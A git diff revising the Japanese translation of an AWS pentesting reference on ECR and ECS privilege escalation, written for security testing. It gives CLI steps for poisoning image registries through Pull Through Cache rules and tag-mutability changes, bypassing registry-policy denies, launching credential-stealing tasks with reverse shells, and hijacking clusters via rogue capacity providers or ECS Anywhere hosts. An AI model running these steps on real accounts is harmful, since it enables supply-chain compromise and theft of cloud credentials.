+攻撃者が制御するアップストリーム名前空間を信頼された private ECR プレフィックスにマップするために、ECR Pull Through Cache (PTC) ルールを悪用します。これにより、private ECR からイメージをプルするワークロードは、private ECR に対してプッシュを行わなくても透過的に攻撃者のイメージを受け取るようになります。

- Required perms: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. If using ECR Public upstream: ecr-public:* to create/push to the public repo.
- Tested upstream: public.ecr.aws
+- 必要な権限: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. ECR Public を upstream として使用する場合: ecr-public:*（public リポジトリの作成/プッシュ用）。
+- テスト済み upstream: public.ecr.aws

-Steps (example):
+手順（例）:

-1. ECR Public に攻撃者のイメージを用意
+1. Prepare attacker image in ECR Public
 # Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1
 docker login public.ecr.aws/<public_alias>
 docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test .
 docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test

-2. プライベートECRでPTCルールを作成し、信頼されたプレフィックスをパブリックレジストリにマップする
+2. Create the PTC rule in private ECR to map a trusted prefix to the public registry
 aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws

-3. プライベートECR経由で攻撃者イメージをプルする（プライベートECRへの push は行われていない）
+3. Pull the attacker image via the private ECR path (no push to private ECR was done)
 docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com
 docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
 docker run --rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test

-Potential Impact: Supply-chain compromise by hijacking internal image names under the chosen prefix. Any workload pulling images from the private ECR using that prefix will receive attacker-controlled content.
+潜在的影響: 選択したプレフィックス配下の内部イメージ名を乗っ取ることでサプライチェーンが侵害されます。そのプレフィックスを使って private ECR からイメージをプルするワークロードは、攻撃者が制御するコンテンツを受け取ります。

 ### `ecr:PutImageTagMutability`

-この権限を悪用して、タグの不変性が設定されたリポジトリを可変に切り替え、latest、stable、prod などの信頼されたタグを攻撃者が制御するコンテンツで上書きできます。
+この権限を悪用して、タグが不変に設定されているリポジトリを可変に切り替え、trusted tags（例: latest, stable, prod）を攻撃者制御のコンテンツで上書きできます。

- Required perms: `ecr:PutImageTagMutability` plus push capabilities (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`).
- Impact: Supply-chain compromise by silently replacing immutable tags without changing tag names.
+- 必要な権限: `ecr:PutImageTagMutability` およびプッシュに必要な権限（`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`）。
+- 影響: タグ名を変更せずに不変タグを静かに置き換えることでサプライチェーンが侵害される。

-Steps (example):
+手順（例）:

 <details>
-<summary>不変タグを可変に切り替えて汚染する</summary>
+<summary>mutability を切り替えて不変タグを汚染する</summary>
 ```bash
 REGION=us-east-1
 REPO=ht-immutable-demo-$RANDOM
@@ -157,14 +152,14 @@ docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
 </details>


-#### ROOT Pull-Through Cache ルールによるグローバルレジストリハイジャック
+#### Global registry hijack via ROOT Pull-Through Cache rule

-特別な `ecrRepositoryPrefix=ROOT` を使って Pull-Through Cache (PTC) ルールを作成し、プライベート ECR レジストリのルートを上流のパブリックレジストリ（例: ECR Public）にマッピングします。プライベートレジストリに存在しないリポジトリへの pull は上流から透過的に提供され、プライベート ECR に push しなくてもサプライチェーンハイジャックが可能になります。
+特別な `ecrRepositoryPrefix=ROOT` を使用して Pull-Through Cache (PTC) ルールを作成し、プライベート ECR レジストリのルートを上流のパブリックレジストリ（例: ECR Public）にマッピングします。プライベートレジストリに存在しないリポジトリへの pull は上流から透過的に提供され、private ECR に push しなくても supply-chain hijacking を可能にします。

 - 必要な権限: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`.
 - 影響: Pulls to `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` succeed and auto-create private repos sourced from upstream.

-> 注: `ROOT` ルールでは `--upstream-repository-prefix` を省略してください。指定するとバリデーションエラーになります。
+> 注意: For `ROOT` rules, omit `--upstream-repository-prefix`. Supplying it will cause a validation error.

 <details>
 <summary>デモ (us-east-1, upstream public.ecr.aws)</summary>
@@ -196,17 +191,17 @@ aws ecr delete-repository --region "$REGION" --repository-name docker/library/al
 ```
 </details>

-### `ecr:PutAccountSetting` (レジストリポリシーの Deny を回避するために `REGISTRY_POLICY_SCOPE` をダウングレード)
+### `ecr:PutAccountSetting` (`REGISTRY_POLICY_SCOPE` をダウングレードしてレジストリポリシーの Deny をバイパス)

-`ecr:PutAccountSetting` を悪用してレジストリポリシーの scope を `V2`（全ての ECR アクションに適用されるポリシー）から `V1`（`CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage` のみ適用されるポリシー）に切り替えます。制限的なレジストリポリシーの Deny により `CreatePullThroughCacheRule` のようなアクションがブロックされている場合、`V1` にダウングレードするとその適用が解除され、identity‑policy の Allow が有効になります。
+`ecr:PutAccountSetting` を悪用してレジストリポリシーのスコープを `V2`（すべての ECR アクションに適用されるポリシー）から `V1`（`CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage` のみが対象）に切り替えます。制限的なレジストリポリシーの Deny が `CreatePullThroughCacheRule` のようなアクションをブロックしている場合、`V1` にダウングレードするとその強制が解除され、アイデンティティポリシーの Allow が有効になります。

 - 必要な権限: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
- 影響: 一時的に scope を `V1` に設定することで、レジストリポリシーの Deny により以前ブロックされていた ECR アクション（例: PTC ルールの作成）を実行できるようになる。
+- 影響: 一時的にスコープを `V1` に設定することで、レジストリポリシーの Deny によって以前ブロックされていた ECR アクション（例: PTC rules の作成）を実行できるようになる。

-Steps (example):
+手順（例）:

 <details>
-<summary>CreatePullThroughCacheRule に対するレジストリポリシーの Deny を V1 に切り替えて回避する</summary>
+<summary>CreatePullThroughCacheRule に対する registry policy の Deny を V1 に切り替えてバイパス</summary>
 ```bash
 REGION=us-east-1
 ACCT=$(aws sts get-caller-identity --query Account --output text)
@@ -265,3 +260,5 @@ fi
 aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
 ```
 </details>
+
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md
@@ -4,7 +4,7 @@

 ## ECS

-ECSに関する**詳細情報**は以下を参照:
+ECSに関する**詳細情報**は次を参照:

 {{#ref}}
 ../../aws-services/aws-ecs-enum.md
@@ -12,7 +12,7 @@ ECSに関する**詳細情報**は以下を参照:

 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`

-ECSで`iam:PassRole`、`ecs:RegisterTaskDefinition`、`ecs:RunTask`の権限を悪用する攻撃者は、メタデータ認証情報を窃取する**悪意あるコンテナ**を含む**新しいタスク定義を生成**し、それを**実行**できます。
+ECSで`iam:PassRole`、`ecs:RegisterTaskDefinition`、`ecs:RunTask`の権限を悪用する攻撃者は、**新しいタスク定義を生成**し、メタデータの認証情報を盗む**悪意のあるコンテナ**を含めてそれを**実行する**ことができます。

 {{#tabs }}
 {{#tab name="Reverse Shell" }}
@@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1

 {{#tab name="Webhook" }}

-webhook.site のようなサイトで webhook を作成する
+webhook.site のようなサイトで webhook を作成する。
 ```bash

 # Create file container-definition.json
@@ -75,19 +75,19 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1

 {{#endtabs }}

-**Potential Impact:** 別の ECS ロールへの直接 privesc.
+**Potential Impact:** 別の ECS role への直接的な privesc。

 ### `iam:PassRole`,`ecs:RunTask`
-`iam:PassRole` と `ecs:RunTask` の権限を持つ攻撃者は、**実行ロール**、**タスクロール**、およびコンテナの**コマンド**を変更した状態で新しい ECS タスクを起動できます。`ecs run-task` CLI コマンドには `--overrides` フラグがあり、タスク定義を変更せずに実行時に `executionRoleArn`、`taskRoleArn`、およびコンテナの `command` を変更できます。
+`iam:PassRole` と `ecs:RunTask` の権限を持つ攻撃者は、**execution role**、**task role**、およびコンテナの **command** の値を変更した状態で新しい ECS タスクを起動できます。`ecs run-task` CLI コマンドには `--overrides` フラグがあり、タスク定義を変更せずに実行時に `executionRoleArn`、`taskRoleArn`、およびコンテナの `command` を変更できます。

-指定された `taskRoleArn` と `executionRoleArn` の IAM ロールは、トラストポリシーで `ecs-tasks.amazonaws.com` によるアサンプションを許可している必要があります。
+`taskRoleArn` と `executionRoleArn` に指定された IAM ロールは、トラストポリシーで `ecs-tasks.amazonaws.com` による引き受けを許可／信頼している必要があります。

-また、攻撃者は以下を知っている必要があります:
- ECS クラスター名
- VPC サブネット
- セキュリティグループ（セキュリティグループが指定されていない場合はデフォルトのものが使用されます）
- Task Definition 名とリビジョン
- コンテナ名
+また、攻撃者は以下を把握している必要があります:
+- ECS cluster name
+- VPC Subnet
+- Security group (セキュリティグループが指定されていない場合はデフォルトのものが使用されます)
+- Task Definition Name and revision
+- Name of the Container
 ```bash
 aws ecs run-task \
 --cluster <cluster-name> \
@@ -105,9 +105,9 @@ aws ecs run-task \
 ]
 }'
 ```
-上のコードスニペットでは、攻撃者は `taskRoleArn` の値だけを上書きしています。ただし、この攻撃を行うには、攻撃者がコマンドで指定した `taskRoleArn` とタスク定義で指定された `executionRoleArn` の両方に対して `iam:PassRole` 権限を持っている必要があります。
+上のコードスニペットでは attacker は `taskRoleArn` の値のみを上書きしています。しかし、attack が成立するには、attacker がコマンドで指定した `taskRoleArn` とタスク定義で指定された `executionRoleArn` の両方に対して `iam:PassRole` 権限を持っている必要があります。

-攻撃者が渡せる IAM ロールが ECR イメージをプルして ECS タスクを起動するのに十分な権限（`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`）を持っている場合、攻撃者は `ecs run-task` コマンドで `executionRoleArn` と `taskRoleArn` の両方に同じ IAM ロールを指定できます。
+attacker が渡せる IAM ロールが ECR イメージのプルと ECS タスクの起動に必要な権限（`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`）を持っている場合、attacker は `ecs run-task` コマンドで `executionRoleArn` と `taskRoleArn` の両方に同じ IAM ロールを指定できます。
 ```sh
 aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
 {
@@ -121,12 +121,12 @@ aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-config
 ]
 }'
 ```
-**Potential Impact:** 任意の ECS task role への直接的な privesc。
+**Potential Impact:** 任意の ECS task role への直接的な privesc.

 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`

-前の例と同様に、攻撃者が ECS 上で **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** の権限を悪用すると、**generate a new task definition** を作成し、**malicious container** によって metadata credentials を盗んで **run it** できます。\
-ただし、この場合、malicious task definition を実行するための container instance が必要です。
+前の例と同様に、攻撃者が ECS 上で **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** 権限を悪用すると、メタデータ認証情報を盗む**悪意のあるコンテナ**を含む**新しい task definition**を生成して**実行**することができます。\
+ただし、この場合、悪意のある task definition を実行するための container instance が必要になります。
 ```bash
 # Generate task definition with rev shell
 aws ecs register-task-definition --family iam_exfiltration \
@@ -142,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \
 ## You need to remove all the versions (:1 is enough if you just created one)
 aws ecs deregister-task-definition --task-definition iam_exfiltration:1
 ```
-**Potential Impact:** 任意の ECS ロールへの直接 privesc.
+**Potential Impact:** 任意のECSロールへの直接的なprivesc。

-### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
+### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` 

-前の例と同様に、攻撃者が ECS で **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** または **`ecs:CreateService`** 権限を悪用すると、**新しいタスク定義を生成**し、**悪意のあるコンテナ**を含めてメタデータ認証情報を盗み、**少なくとも1つのタスクが稼働する新しいサービスを作成してそれを実行する**ことができます。
+前の例と同様に、ECSで**`iam:PassRole`、`ecs:RegisterTaskDefinition`、`ecs:UpdateService`** または **`ecs:CreateService`** 権限を悪用する攻撃者は、**メタデータ認証情報を窃取する悪意のあるコンテナ** を含む **新しいタスク定義を生成** し、少なくとも1つのタスクが稼働するサービスを作成してそれを**実行することができます。**
 ```bash
 # Generate task definition with rev shell
 aws ecs register-task-definition --family iam_exfiltration \
@@ -169,12 +169,11 @@ aws ecs update-service --cluster <CLUSTER NAME> \
 --service <SERVICE NAME> \
 --task-definition <NEW TASK DEFINITION NAME>
 ```
-**潜在的な影響:** 任意の ECS role への直接 privesc。
+**潜在的な影響:** 任意の ECS role への直接的な privesc.

 ### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`

-
-実際、これらの権限があれば、overrides を使って任意の role を持つコンテナ内で任意のコマンドを実行することが可能で、例えば次のようにできます:
+実際には、これらの権限だけで overrides を使い、任意の role を割り当てたコンテナ内で任意のコマンドを実行できます。次のように：
 ```bash
 aws ecs run-task \
 --task-definition "<task-name>" \
@@ -182,16 +181,16 @@ aws ecs run-task \
 --cluster <cluster-name> \
 --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
 ```
-**潜在的影響:** Direct privesc to any ECS role.
+**Potential Impact:** 任意の ECS role への直接 privesc.

 ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**

-このシナリオは前のものと似ていますが、**`iam:PassRole`** 権限がありません。\
-これは依然として重要です。任意のコンテナを実行できる場合、たとえロールがなくても、**run a privileged container to escape** してノードにアクセスし、**steal the EC2 IAM role** やノード上で実行されている **other ECS containers roles** を奪うことができます。\
-さらに、侵害した EC2 インスタンス内で **force other tasks to run inside the EC2 instance** ように他のタスクを強制実行して、それらの資格情報を盗むことも可能です（詳細は [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node) を参照）。
+このシナリオは前のものと似ていますが、**`iam:PassRole`** 権限が**ありません**。\
+これは依然として重要です。任意のコンテナを実行できる場合、たとえ role が付与されていなくても、**run a privileged container to escape** してノードに脱出し、**steal the EC2 IAM role** やノード上で動作している **other ECS containers roles** を奪うことができます。\
+侵害した EC2 インスタンス内で他のタスクを実行させて資格情報を盗むよう **force other tasks to run inside the EC2 instance** することさえ可能です（詳細は [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node) を参照）。

 > [!WARNING]
-> この攻撃は、**ECS クラスターが EC2 インスタンスを使用している** 場合にのみ可能で、Fargate では実行できません。
+> この攻撃は **ECS cluster is using EC2** インスタンスを使用している場合にのみ可能で、Fargate では実行できません。
 ```bash
 printf '[
 {
@@ -234,12 +233,12 @@ aws ecs run-task --task-definition iam_exfiltration \
 ```
 ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**

-攻撃者が **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** を持っていると、実行中のコンテナ内で**コマンドを実行**し、そのコンテナに紐づく IAM ロールを外部へ持ち出すことができます（`aws ecs execute-command` を実行するには describe 権限が必要なため、`ecs:DescribeTasks` が必要です）。\
-しかし、そのためにはコンテナインスタンスで **ExecuteCommand agent** が稼働している必要があります（デフォルトでは稼働していません）。
+An attacker with the **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** can **execute commands** inside a running container and exfiltrate the IAM role attached to it (you need the describe permissions because it's necessary to run `aws ecs execute-command`).\
+ただし、そのためにはコンテナインスタンス上で **ExecuteCommand agent** が動作している必要がある（デフォルトでは動作していない）。

-したがって、攻撃者は次のことを試みるでしょう：
+Therefore, the attacker cloud try to:

- **各実行中コンテナでコマンドを実行してみる**
+- **実行中のすべてのコンテナでコマンドを実行してみる**
 ```bash
 # List enableExecuteCommand on each task
 for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
@@ -257,18 +256,18 @@ aws ecs execute-command --interactive \
 --cluster "$CLUSTER_ARN" \
 --task "$TASK_ARN"
 ```
- もし **`ecs:RunTask`** を持っている場合、`aws ecs run-task --enable-execute-command [...]` でタスクを実行する
- もし **`ecs:StartTask`** を持っている場合、`aws ecs start-task --enable-execute-command [...]` でタスクを実行する
- もし **`ecs:CreateService`** を持っている場合、`aws ecs create-service --enable-execute-command [...]` でサービスを作成する
- もし **`ecs:UpdateService`** を持っている場合、`aws ecs update-service --enable-execute-command [...]` でサービスを更新する
+- もし **`ecs:RunTask`** の権限があれば、`aws ecs run-task --enable-execute-command [...]` でタスクを実行できます。
+- もし **`ecs:StartTask`** の権限があれば、`aws ecs start-task --enable-execute-command [...]` でタスクを実行できます。
+- もし **`ecs:CreateService`** の権限があれば、`aws ecs create-service --enable-execute-command [...]` でサービスを作成できます。
+- もし **`ecs:UpdateService`** の権限があれば、`aws ecs update-service --enable-execute-command [...]` でサービスを更新できます。

-これらのオプションの例は、以前の ECS privesc セクションで確認できます。
+**これらのオプションの例** は **前の ECS privesc sections** で見つけられます。

-**Potential Impact:** コンテナにアタッチされた別のロールへの privesc
+**潜在的な影響:** コンテナにアタッチされた別のロールへの Privesc。

 ### `ssm:StartSession`

-**ssm privesc ページ**で、この権限をどのように悪用して **ECS に privesc** できるか確認してください:
+この権限を悪用して **privesc to ECS** する方法は、**ssm privesc page** を参照してください:

 {{#ref}}
 ../aws-ssm-privesc/README.md
@@ -276,7 +275,7 @@ aws ecs execute-command --interactive \

 ### `iam:PassRole`, `ec2:RunInstances`

-**ec2 privesc ページ**で、これらの権限をどのように悪用して **ECS に privesc** できるか確認してください:
+これらの権限を悪用して **privesc to ECS** する方法は、**ec2 privesc page** を参照してください:

 {{#ref}}
 ../aws-ec2-privesc/README.md
@@ -284,16 +283,16 @@ aws ecs execute-command --interactive \

 ### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`

-これらの権限を持つ攻撃者は、ECS クラスターに EC2 インスタンスを登録し、その上でタスクを実行できる可能性があります。これにより、攻撃者は ECS タスクのコンテキスト内で任意のコードを実行できるようになります。
+これらの権限を持つ攻撃者は、ECS クラスターに EC2 インスタンスを登録してその上でタスクを実行する可能性があります。これにより、攻撃者は ECS タスクのコンテキスト内で任意のコードを実行できるようになります。

- TODO: 他の AWS アカウントからインスタンスを登録して、タスクが攻撃者が制御するマシン上で実行されるようにすることは可能か??
+- TODO: 別の AWS アカウントからインスタンスを登録して、タスクが攻撃者が制御するマシン上で実行されるようにすることは可能か??

 ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`

 > [!NOTE]
-> TODO: テストする
+> TODO: Test this

-`ecs:CreateTaskSet`、`ecs:UpdateServicePrimaryTaskSet`、`ecs:DescribeTaskSets` の権限を持つ攻撃者は、既存の ECS サービスに対して悪意のある task set を作成し、primary task set を更新することができます。これにより、攻撃者はサービス内で任意のコードを実行できるようになります。
+これらの権限（`ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`）を持つ攻撃者は、既存の **ECS service** に対して **悪意のある task set を作成し primary task set を更新する** ことができます。これにより攻撃者はサービス内で **任意のコードを実行する** ことが可能になります。
 ```bash
 # Register a task definition with a reverse shell
 echo '{
@@ -319,63 +318,49 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
 # Update the primary task set for the service
 aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
 ```
-**潜在的な影響**: 影響を受けたサービスで任意のコードを実行でき、その機能に影響を与えたり、機密データを持ち出したりする可能性があります。
+**Potential Impact**: 影響を受けたサービスで任意のコードを実行でき、機能に影響を与えたり機密データを外部へ持ち出したりする可能性があります。

-## 参照
+## References

 - [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)

-{{#include ../../../../banners/hacktricks-training.md}}





-### 悪意ある Capacity Provider を使った ECS スケジューリングのハイジャック (EC2 ASG takeover)

-ECS capacity providers を管理しサービスを更新する権限を持つ攻撃者は、自分で制御する EC2 Auto Scaling Group を作成し、それを ECS Capacity Provider にラップしてターゲットのクラスターに関連付け、被害者のサービスをこのプロバイダーに移行させることができます。するとタスクは攻撃者が制御する EC2 インスタンス上にスケジュールされ、OS レベルでコンテナを調査したりタスクのロール資格情報を窃取したりすることが可能になります。
+### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
+
+攻撃者が ECS capacity providers の管理やサービスの更新権限を持っている場合、自分で制御する EC2 Auto Scaling Group を作成し、それを ECS Capacity Provider にラップしてターゲットのクラスターに関連付け、被害者のサービスをそのプロバイダに移行させることができます。すると tasks は攻撃者が制御する EC2 インスタンス上にスケジュールされ、OS レベルでコンテナを調査したりタスクの IAM ロール資格情報を窃取したりすることが可能になります。

 Commands (us-east-1):

 - 前提条件

-
-
- target cluster に参加するための ECS agent 用 Launch Template を作成
-
-
+- ターゲットクラスターに参加させるための Launch Template（ECS agent 用）を作成

 - Auto Scaling Group を作成

-
-
 - ASG から Capacity Provider を作成

+- Capacity Provider をクラスターに関連付ける（必要に応じてデフォルトにする）

+- サービスを自分のプロバイダに移行

- Capacity Provider をクラスターに関連付け（必要に応じてデフォルトとして）
+- tasks が攻撃者インスタンスに配置されることを確認

-
-
- サービスを自分のプロバイダーに移行
-
-
-
- タスクが攻撃者インスタンスに配置されることを確認
-
-
-
- オプション: EC2 ノードから docker exec でターゲットコンテナに入り、http://169.254.170.2 を読み取って task role credentials を取得。
+- 任意: EC2 ノードから docker exec でターゲットコンテナに入り、http://169.254.170.2 を読み取ってタスクロールの資格情報を取得

 - クリーンアップ



-**潜在的な影響:** 攻撃者管理下の EC2 ノードが被害者のタスクを受け取り、コンテナへの OS レベルのアクセスとタスクの IAM ロール資格情報の窃取を可能にします。
+**Potential Impact:** 攻撃者が制御する EC2 ノードに被害者の tasks が割り当てられ、コンテナへの OS レベルのアクセスやタスクの IAM ロール資格情報の窃取が可能になります。


 <details>
-<summary>手順別コマンド（コピー/ペースト）</summary>
+<summary>ステップバイステップのコマンド（コピー/貼り付け）</summary>
 <pre>
 export AWS_DEFAULT_REGION=us-east-1
 CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
@@ -408,25 +393,25 @@ aws ecs describe-container-instances --cluster "" --container-instances "" --que
 </pre>
 </details>

-### ECS Anywhere の EXTERNAL 登録を利用したクラスター内へのバックドア
+### Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration

-ECS Anywhere を悪用して、攻撃者が制御するホストを被害者の ECS クラスターの EXTERNAL container instance として登録し、privileged な task と execution ロールを使ってそのホスト上でタスクを実行できます。これによりタスクがどこで実行されるかを OS レベルで制御でき（自分のマシン上で実行）、capacity providers や ASGs に触れずにタスクやアタッチされたボリュームから資格情報やデータを窃取できます。
+ECS Anywhere を悪用して攻撃者が制御するホストを被害クラスタの EXTERNAL container instance として登録し、そのホスト上で特権付きの task と execution ロールを使って tasks を実行します。これにより tasks が実行される場所（自分のマシン）に対する OS レベルの制御が得られ、capacity providers や ASGs に触れずに tasks やアタッチされたボリュームから資格情報やデータを窃取できます。

- 必要な権限（最小例）:
- ecs:CreateCluster (オプション), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask
+- 必要な権限（例、最小）:
+- ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask
 - ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation
- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (ECS Anywhere の instance role と task/execution ロール用)
- logs:CreateLogGroup/Stream, logs:PutLogEvents (awslogs を使う場合)
+- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (for the ECS Anywhere instance role and task/execution roles)
+- logs:CreateLogGroup/Stream, logs:PutLogEvents (if using awslogs)

- 影響: 攻撃者ホスト上で任意のコンテナを選んだ taskRoleArn で実行可能; 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI からタスクロール資格情報を持ち出す; タスクがマウントした任意のボリュームにアクセス可能; capacity providers/ASGs を操作するよりステルス性が高い。
+- Impact: 攻撃者ホスト上で選択した taskRoleArn を使って任意のコンテナを実行；169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI からタスクロールの資格情報を外部へ持ち出す；tasks にマウントされた任意のボリュームへアクセス；capacity providers/ASGs を操作するよりステルス性が高い。

 Steps

-1) クラスターを作成／特定する (us-east-1)
+1) クラスターを作成/特定する (us-east-1)
 ```bash
 aws ecs create-cluster --cluster-name ht-ecs-anywhere
 ```
-2) ECS Anywhere のロールと SSM activation を作成する（オンプレ／EXTERNAL インスタンス用）
+2) ECS Anywhere ロールと SSM アクティベーションを作成（オンプレ/EXTERNAL インスタンス用）
 ```bash
 aws iam create-role --role-name ecsAnywhereRole \
 --assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
@@ -435,7 +420,7 @@ aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam:
 ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
 ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
 ```
-3) attacker host をプロビジョニングし、それを EXTERNAL として自動登録する（例: 小さな AL2 EC2 を “on‑prem” として）
+3) 攻撃者ホストをプロビジョニングし、EXTERNALとして自動登録する (例: 小さな AL2 EC2 を “on‑prem” として)

 <details>
 <summary>user-data.sh</summary>
@@ -463,7 +448,7 @@ aws ecs describe-container-instances --cluster ht-ecs-anywhere \
 --container-instances <ci-arn> --query 'containerInstances[0].[ec2InstanceId,attributes]'
 # ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external
 ```
-5) task/execution roles を作成し、EXTERNAL task definition を登録して、attacker host 上で実行する
+5) task/execution roles を作成し、EXTERNAL task definition を登録して、attacker host 上でそれを実行する
 ```bash
 # roles
 aws iam create-role --role-name ht-ecs-task-exec \
@@ -499,55 +484,33 @@ CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'contain
 aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \
 --container-instances $CI
 ```
-6) ここからはタスクを実行するホストを制御できます。タスクログを読むことができる（awslogs の場合）か、ホスト上で直接 exec してタスクから認証情報/データを exfiltrate できます。
+6) ここからタスクを実行しているホストを制御できます。タスクログ（if awslogs）を読み取ったり、ホスト上で直接 exec してタスクから資格情報／データを exfiltrate できます。

+#### コマンド例（プレースホルダ）

+### 悪意ある Capacity Provider による ECS スケジューリングの乗っ取り (EC2 ASG takeover)

-#### Command example (placeholders)
-
-
-
-
-### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
-
-ECS capacity providers を管理し service を更新する権限を持つ攻撃者は、自分が制御する EC2 Auto Scaling Group を作成し、それを ECS Capacity Provider にラップしてターゲットの cluster に関連付け、被害者のサービスをこの provider に移行させることができます。するとタスクは攻撃者が制御する EC2 インスタンスにスケジュールされ、OS レベルでコンテナを検査してタスクの認証情報を窃取できます。
+ECS capacity providers を管理し services を更新する権限を持つ攻撃者は、自分で制御する EC2 Auto Scaling Group を作成し、それを ECS Capacity Provider に組み込み、ターゲットクラスタに関連付け、被害者のサービスをこのプロバイダに移行させることができます。するとタスクは攻撃者が制御する EC2 インスタンス上にスケジュールされ、OS レベルからコンテナを調査したり task role credentials を窃取したりできるようになります。

 Commands (us-east-1):

 - 前提条件

-
-
- ターゲット cluster に参加するための ECS agent 用 Launch Template を作成
-
-
+- ECS agent がターゲットクラスタに参加するための Launch Template を作成

 - Auto Scaling Group を作成

-
-
 - ASG から Capacity Provider を作成

+- Capacity Provider をクラスタに関連付け（オプションでデフォルトに）

+- サービスをあなたのプロバイダに移行

- Capacity Provider を cluster に関連付け（任意でデフォルトとして）
-
-
-
- サービスを自分の provider に移行
-
-
-
- タスクが攻撃者のインスタンスに配置されることを確認
-
-
-
- オプション：EC2 ノードから docker exec でターゲットコンテナに入り、http://169.254.170.2 を読み取ってタスクロールの認証情報を取得。
-
